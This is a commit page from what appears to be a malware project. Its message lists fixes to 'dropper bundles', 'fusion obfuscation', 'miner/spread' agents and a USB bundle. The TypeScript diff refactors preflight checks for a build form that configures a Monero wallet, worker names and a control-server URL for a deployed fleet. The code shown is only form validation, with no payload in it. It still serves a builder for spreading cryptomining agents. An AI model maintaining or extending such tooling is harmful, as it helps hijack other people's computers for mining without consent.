fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -1,11 +1,6 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import type { PreflightCheck } from './forgeValidation';
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
// Standard Monero addresses start with 4, subaddresses with 8
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
import { looksLikeXMRWallet } from './forgeValidation';
|
||||
|
||||
/** Extra incompatibility checks beyond basic validation. */
|
||||
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
const workerName = form.worker_name || '';
|
||||
const serverUrl = form.server_url || '';
|
||||
|
||||
if (!workerName.trim()) {
|
||||
checks.push({
|
||||
id: 'worker_name_empty',
|
||||
level: 'error',
|
||||
message: 'Worker Name is required. This identifies the machine in your fleet.',
|
||||
});
|
||||
}
|
||||
|
||||
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
|
||||
checks.push({
|
||||
id: 'server_url_localhost',
|
||||
level: 'error',
|
||||
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
|
||||
});
|
||||
}
|
||||
|
||||
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
|
||||
checks.push({
|
||||
id: 'wallet_invalid',
|
||||
level: 'warn',
|
||||
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
|
||||
});
|
||||
}
|
||||
|
||||
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
|
||||
checks.push({
|
||||
id: 'forge_ready',
|
||||
|
||||
Reference in New Issue
Block a user